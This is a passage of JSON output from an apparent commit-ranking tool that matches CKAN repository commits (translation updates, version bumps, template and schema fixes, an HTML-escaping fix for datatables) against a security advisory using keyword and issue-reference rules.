"c18b4db2ef4adc55696ab751503153394bc6280e", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724239278, - "hunks": 0, - "message": "[i18] Compile mo files", - "changed_files": [ - "ckan/i18n/am/LC_MESSAGES/ckan.mo", - "ckan/i18n/ar/LC_MESSAGES/ckan.mo", - "ckan/i18n/bg/LC_MESSAGES/ckan.mo", - "ckan/i18n/bs/LC_MESSAGES/ckan.mo", - "ckan/i18n/ca/LC_MESSAGES/ckan.mo", - "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo", - "ckan/i18n/da_DK/LC_MESSAGES/ckan.mo", - "ckan/i18n/de/LC_MESSAGES/ckan.mo", - "ckan/i18n/el/LC_MESSAGES/ckan.mo", - "ckan/i18n/en_AU/LC_MESSAGES/ckan.mo", - "ckan/i18n/en_GB/LC_MESSAGES/ckan.mo", - "ckan/i18n/es/LC_MESSAGES/ckan.mo", - "ckan/i18n/es_AR/LC_MESSAGES/ckan.mo", - "ckan/i18n/eu/LC_MESSAGES/ckan.mo", - "ckan/i18n/fa_IR/LC_MESSAGES/ckan.mo", - "ckan/i18n/fi/LC_MESSAGES/ckan.mo", - "ckan/i18n/fr/LC_MESSAGES/ckan.mo", - "ckan/i18n/gl/LC_MESSAGES/ckan.mo", - "ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo", - "ckan/i18n/he/LC_MESSAGES/ckan.mo", - "ckan/i18n/hr/LC_MESSAGES/ckan.mo", - "ckan/i18n/hu/LC_MESSAGES/ckan.mo", - "ckan/i18n/id/LC_MESSAGES/ckan.mo", - "ckan/i18n/is/LC_MESSAGES/ckan.mo", - "ckan/i18n/it/LC_MESSAGES/ckan.mo", - "ckan/i18n/ja/LC_MESSAGES/ckan.mo", - "ckan/i18n/km/LC_MESSAGES/ckan.mo", - "ckan/i18n/ko_KR/LC_MESSAGES/ckan.mo", - "ckan/i18n/lt/LC_MESSAGES/ckan.mo", - "ckan/i18n/lv/LC_MESSAGES/ckan.mo", - "ckan/i18n/mk/LC_MESSAGES/ckan.mo", - "ckan/i18n/mn_MN/LC_MESSAGES/ckan.mo", - "ckan/i18n/my_MM/LC_MESSAGES/ckan.mo", - "ckan/i18n/nb_NO/LC_MESSAGES/ckan.mo", - "ckan/i18n/ne/LC_MESSAGES/ckan.mo", - "ckan/i18n/nl/LC_MESSAGES/ckan.mo", - "ckan/i18n/no/LC_MESSAGES/ckan.mo", - "ckan/i18n/pl/LC_MESSAGES/ckan.mo", - "ckan/i18n/pt_BR/LC_MESSAGES/ckan.mo", - "ckan/i18n/pt_PT/LC_MESSAGES/ckan.mo", - "ckan/i18n/ro/LC_MESSAGES/ckan.mo", - "ckan/i18n/ru/LC_MESSAGES/ckan.mo", - "ckan/i18n/sk/LC_MESSAGES/ckan.mo", - "ckan/i18n/sl/LC_MESSAGES/ckan.mo", - "ckan/i18n/sq/LC_MESSAGES/ckan.mo", - "ckan/i18n/sr/LC_MESSAGES/ckan.mo", - "ckan/i18n/sr_Latn/LC_MESSAGES/ckan.mo", - "ckan/i18n/sv/LC_MESSAGES/ckan.mo", - "ckan/i18n/th/LC_MESSAGES/ckan.mo", - "ckan/i18n/tl/LC_MESSAGES/ckan.mo", - "ckan/i18n/tr/LC_MESSAGES/ckan.mo", - "ckan/i18n/uk/LC_MESSAGES/ckan.mo", - "ckan/i18n/uk_UA/LC_MESSAGES/ckan.mo", - "ckan/i18n/vi/LC_MESSAGES/ckan.mo", - "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo", - "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - } - ] - }, - { - "commit_id": "55e1892772c859d2885d713ac3fce6afc7a7cb2f", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1722001441, - "hunks": 26, - "message": "[i18n] Update po files from Transifex", - "changed_files": [ - "ckan/i18n/ca/LC_MESSAGES/ckan.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - } - ] - }, - { - "commit_id": "ebc01f9fb91453679843f055fb035efd33148dda", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1716472971, - "hunks": 1, - "message": "[i18n] Update .tx/config file with 2.11 resource", - "changed_files": [ - ".tx/config" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - } - ] - }, - { - "commit_id": "3a9b5c17be56354ced12fac4798bad266baa74e4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1716472524, - "hunks": 51, - "message": "[i18n] Pull latest translations from Transifex", - "changed_files": [ - "ckan/i18n/de/LC_MESSAGES/ckan.po", - "ckan/i18n/fr/LC_MESSAGES/ckan.po", - "ckan/i18n/he/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - } - ] - }, - { - "commit_id": "31d5cbd519e46b48bf0e9b469f21075449bae4bc", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1718301517, - "hunks": 1, - "message": "add missing head_extras block added missing head_extras block used in default templates ckan/templates/package/read_base.html and ckan/templates/package/resource_read.html (cherry picked from commit bf76742860c96579c79be64ab73412dff54349ac)", - "changed_files": [ - "ckan/templates/base.html" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - } - ] - }, - { - "commit_id": "98d9120434c4df42567dae49eb33efbbb676f534", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724065569, - "hunks": 0, - "message": "Merge branch 'snokamedia-patch-1'", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: patch", - "relevance": 4 - } - ] - }, - { - "commit_id": "7f33937777edd62d28627627fd8cac3d0f7e98ed", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724065079, - "hunks": 0, - "message": "Merge branch 'patch-1' of https://github.com/snokamedia/ckan into snokamedia-patch-1", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: patch", - "relevance": 4 - } - ] - }, - { - "commit_id": "5ef886d091ff8e182b7a46897327537a9cb206aa", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723732429, - "hunks": 1, - "message": "convert package extra value to string before storing @amercader does this resolve the issue you raised in gitter?", - "changed_files": [ - "ckan/logic/schema.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: issue", - "relevance": 4 - } - ] - }, - { - "commit_id": "6e0ab3fb4137cd7c51882d202cd8acaeb0f5221c", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1685379257, - "hunks": 4, - "message": "fix: server error instead of 405", - "changed_files": [ - "changes/7616.bugfix", - "ckan/config/middleware/flask_app.py", - "ckan/plugins/toolkit.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: server, error", - "relevance": 4 - } - ] - }, - { - "commit_id": "502aaa6601af0105ebcf12430748d31e1595db4b", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723629845, - "hunks": 0, - "message": "Merge branch 'fix-setuptools-error' into backport-8392-to-dev-v2.10", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: error", - "relevance": 4 - } - ] - }, - { - "commit_id": "b6d88dba0483eac68d43c6adcb2521f6d6f1bacb", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723557854, - "hunks": 3, - "message": "Bump packaging to avoid setuptools error To avoid this issue in setuptools>=71: https://github.com/pypa/setuptools/issues/4483 Also need to list pyparsing explicitly as requirement as it is no longer a packaging requirement", - "changed_files": [ - "requirements.in" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: issue, error", - "relevance": 4 - } - ] - }, - { - "commit_id": "c1f611593f6d7cd5eb5ccc9389c6df1b235c454d", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724226818, - "hunks": 1, - "message": "Update changelog", - "changed_files": [ - "changes/8397.misc" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "c75c6bb27d29b2cecde7d43585a90caab469de9e" - ] - ], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "ccb485d6eb799a48ab891a9047801aab3b34e0ed", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724225806, - "hunks": 0, - "message": "Merge pull request #8406 from ckan/backport-8404-to-dev-v2.10 [Backport dev-v2.10] Update docs with notices regarding DataPusher and ckanext-scheming", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8406": "Update docs with notices regarding DataPusher and ckanext-scheming #8404" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8406", - "relevance": 2 - } - ] - }, - { - "commit_id": "a3ab6ecfd73bb83bffb7c12b0f2d478309dfcf66", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724174716, - "hunks": 0, - "message": "Merge pull request #8405 from ckan/backport-8404-to-dev-v2.11 [Backport dev-v2.11] Update docs with notices regarding DataPusher and ckanext-scheming", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8405": "Update docs with notices regarding DataPusher and ckanext-scheming #8404" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8405", - "relevance": 2 - } - ] - }, - { - "commit_id": "25cbcb9d69b2128a40f28c37bfd44a053e43a715", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724173402, - "hunks": 0, - "message": "Merge pull request #8404 from ckan/doc-notices Update docs with notices regarding DataPusher and ckanext-scheming", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8404": "[Backport dev-v2.11] Update docs with notices regarding DataPusher and ckanext-scheming #8405 [Backport dev-v2.10] Update docs with notices regarding DataPusher and ckanext-scheming #8406" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8404", - "relevance": 2 - } - ] - }, - { - "commit_id": "cb8424d9e778ab91d081a19ec41b9010ab7fac98", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724173292, - "hunks": 0, - "message": "Merge pull request #8401 from ckan/extras-string compatibility fix for jsonb extras feature", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8401": "" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8401", - "relevance": 2 - } - ] - }, - { - "commit_id": "71ed8c07f320ad9fc3c6b2202edff415652707f4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724125566, - "hunks": 2, - "message": "[#8395] remove owner_org with ''", - "changed_files": [ - "ckanext/activity/tests/test_changes.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "ff654d8523fc1e569d3abea33a5604634842268a", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724066570, - "hunks": 0, - "message": "Merge pull request #8403 from ckan/backport-8264-to-dev-v2.11 [Backport dev-v2.11] add missing head_extras block", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8403": "add missing head_extras block #8264" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8403", - "relevance": 2 - } - ] - }, - { - "commit_id": "9e89ce8220ab1445e0bd85a67994a51d9d3d2688", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724064761, - "hunks": 3, - "message": "Escape data in datatables view", - "changed_files": [ - "ckanext/datatablesview/blueprint.py", - "ckanext/datatablesview/tests/test_ajax.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "d7dfe8c427b1c63c75d788a609f3b7d7620a25a1" - ] - ], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "e39016302b5bc11b3c26c1d2b87e19c557261caa", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723805729, - "hunks": 0, - "message": "Merge pull request #8402 from ckan/backport-8397-to-dev-v2.11 [Backport dev-v2.11] New `ckan config docs` command, Markdown serialiazer", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8402": "New ckan config docs command, Markdown serialiazer #8397" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8402", - "relevance": 2 - } - ] - }, - { - "commit_id": "9f9604d85bab78b8d3582b930e5c19d5e4d35a8f", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723717746, - "hunks": 2, - "message": "Add new `ckan config docs` command That generates the human-readable documentation that can be inserted in the docs or a README. Accepts a -f / --format flag to output rst (default) or markdown. (cherry picked from commit 7e36626376b087dc07f92f01ed166037e4abd18b)", - "changed_files": [ - "ckan/cli/config.py", - "ckan/tests/cli/test_config.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "7e36626376b087dc07f92f01ed166037e4abd18b" - ] - ], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "480f731894e518a0fb43aa9b873109b2a00aa2c6", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723716681, - "hunks": 3, - "message": "Add Markdown serializer for config declaration This will be useful for extensions to generate their config documentation, as they generally use Markdown READMEs (cherry picked from commit 73731e6b926d24ce8b9c388340334021ebb22879)", - "changed_files": [ - "ckan/config/declaration/__init__.py", - "ckan/config/declaration/serialize.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "73731e6b926d24ce8b9c388340334021ebb22879" - ] - ], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "12f6cc8656b4be6d79e11cfd7cdf7c4f52ef9796", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723757053, - "hunks": 4, - "message": "[#8395] index test fixes", - "changed_files": [ - "ckan/tests/lib/search/test_index.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "cb4859390e0390c73007ebdd0e40658f354c71ed", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723749197, - "hunks": 30, - "message": "[#8395] package_show use_default_schema=both", - "changed_files": [ - "ckan/lib/search/index.py", - "ckan/logic/__init__.py", - "ckan/logic/action/create.py", - "ckan/logic/action/delete.py", - "ckan/logic/action/get.py", - "ckan/logic/action/update.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "3179b4fe19d67ff58418acf112d92370f73c4a68", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723745671, - "hunks": 0, - "message": "Merge pull request #8341 from JVickery-TBS/feature/dt-qol Datatables form UI Improvements", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8341": "" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8341", - "relevance": 2 - } - ] - }, - { - "commit_id": "0f76f0315fa0a8cfda013d9ecce03e6531ddd5b7", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723734130, - "hunks": 0, - "message": "Merge pull request #8397 from ckan/config-declaration-md New `ckan config docs` command, Markdown serialiazer", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8397": "[Backport dev-v2.11] New ckan config docs command, Markdown serialiazer #8402" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8397", - "relevance": 2 - } - ] - }, - { - "commit_id": "b66400c984db7ae6adb6e206e446bd80f6cb09be", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723727224, - "hunks": 0, - "message": "Merge pull request #8398 from ckan/line-lenght More lenient line length setting for linting", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8398": "" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8398", - "relevance": 2 - } - ] - }, - { - "commit_id": "df8a0296d8d159c2446a79f68daea0d7524a5c00", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723667075, - "hunks": 11, - "message": "[#8395] reindex on delete/purge group/org", - "changed_files": [ - "ckan/logic/action/delete.py", - "ckan/tests/logic/action/test_get.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "2a3e90f21f414ce6fe7b0de1ff34961b8681d5be", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723659245, - "hunks": 1, - "message": "[#8395] index modifies parameter, make copy", - "changed_files": [ - "ckan/lib/search/index.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "1fe3b3f220f9979c0b9fb901683d88d510ac2693", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723468766, - "hunks": 1, - "message": "Do not use default: none in config declaration (cherry picked from commit 5af050101ec0b0138184684192a100c99842b332)", - "changed_files": [ - "ckan/config/config_declaration.yaml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "dfc5887f3d94bd9af1d30b74880e58d00db080a3" - ], - [ - "no-tag", - "5af050101ec0b0138184684192a100c99842b332" - ] - ], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "bebe9ee9e899a84c92eb2cbad0e26ca285345950", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723545075, - "hunks": 0, - "message": "Merge pull request #7934 from TomeCirun/7723-fix-users-email-not-unique [7723]Fix user's email is not unique", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "7934": "fix_for_7723 #8016" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 7934", - "relevance": 2 - } - ] - }, - { - "commit_id": "c1de2498f49562dd85d079fe717610ba714437d6", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724674862, - "hunks": 1, - "message": "chore: rename changelog fragment", - "changed_files": [ - "changes/8410.feature" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "e5e9952ebd9ffef0a3ce2b58b262d7892ba51e62", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724669098, - "hunks": 1, - "message": "chore: use table name to check table existence", - "changed_files": [ - "ckan/model/__init__.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "63bb88a28bda749769c81f92d6f40080bce8219b", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724666925, - "hunks": 5, - "message": "chore: add changelog entry", - "changed_files": [ - "changes/8410.feat", - "ckanext/activity/logic/auth.py", - "ckanext/activity/model/activity.py", - "ckanext/datastore/backend/postgres.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "7b4719730d946ed1a3704c0537873997e4c450b4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724666458, - "hunks": 2, - "message": "chore: disable SQLAlchemy v2 migration warnings", - "changed_files": [ - "pyproject.toml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "a2e52799a4f456c09b9089a96e0b7ba8ee7ea487", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724246928, - "hunks": 1, - "message": "Add initial workflow to push to testpypi", - "changed_files": [ - ".github/workflows/publish-pypi.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "5708b61996f4040e38df0d4e4693e6a564fd5a74", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724239840, - "hunks": 1, - "message": "Update version for 2.10.6b0", - "changed_files": [ - "ckan/__init__.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "2d44fb183b3c2ad112270b381812e42e9bc1001a", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724239809, - "hunks": 1, - "message": "Update version for 2.11.0b0", - "changed_files": [ - "ckan/__init__.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "a829110608eab7ed354074d4ecd9b84b2bad484c", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724237385, - "hunks": 0, - "message": "Merge branch 'dev-v2.10' into 2.10", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "710dfff718859ff284f0e9feee70c1ecfc86677a", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724231308, - "hunks": 1, - "message": "Update version for 2.11.0", - "changed_files": [ - "ckan/__init__.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [] - }, - { - "commit_id": "66abe426634625b9cad7a67728e481f554436412", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724231248, - "hunks": 1, - "message": "Update version for 2.10.5", - "changed_files": [ - "ckan/__init__.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [] - }, - { - "commit_id": "193bfc54e53300c75a0166eae0d413002fdae9d4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724226659, - "hunks": 0, - "message": "Merge branch 'dev-v2.10' into 2.10", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "2f37de46256c460eabeb504563327c6e86b8e95c", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724146096, - "hunks": 4, - "message": "Add test for convert_to_extras scenario", - "changed_files": [ - "ckanext/example_idatasetform/plugin_v5.py", - "ckanext/example_idatasetform/tests/test_example_idatasetform.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "295115b3f32d081b3b2824188b6a49a73006a3a6", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724087529, - "hunks": 1, - "message": "simplify default_show_extras_schema", - "changed_files": [ - "ckan/logic/schema.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "dc47268069ddf514c834a24290921a6d2d28a7ab", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724078854, - "hunks": 2, - "message": "force str in convert_to_extras too", - "changed_files": [ - "ckan/logic/converters.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "07e89bfa1baad76d3afdb5f9b889187a58b50bb3", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724065579, - "hunks": 0, - "message": "Merge branch 'master' of github.com:ckan/ckan", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "9d70d10924467b7ab3846cf83770eb06146e653b", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724065558, - "hunks": 1, - "message": "changelog", - "changed_files": [ - "changes/8264.misc" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "2e0528468dd3bc0dd867798332069d2d88375385", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724065185, - "hunks": 1, - "message": "Add the body_extra block back", - "changed_files": [ - "ckan/templates/base.html" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "20a46fd764ae83178a0d2010bdb227f64a86e9ae", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724064831, - "hunks": 0, - "message": "Merge commit from fork html escape datatables cells", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], 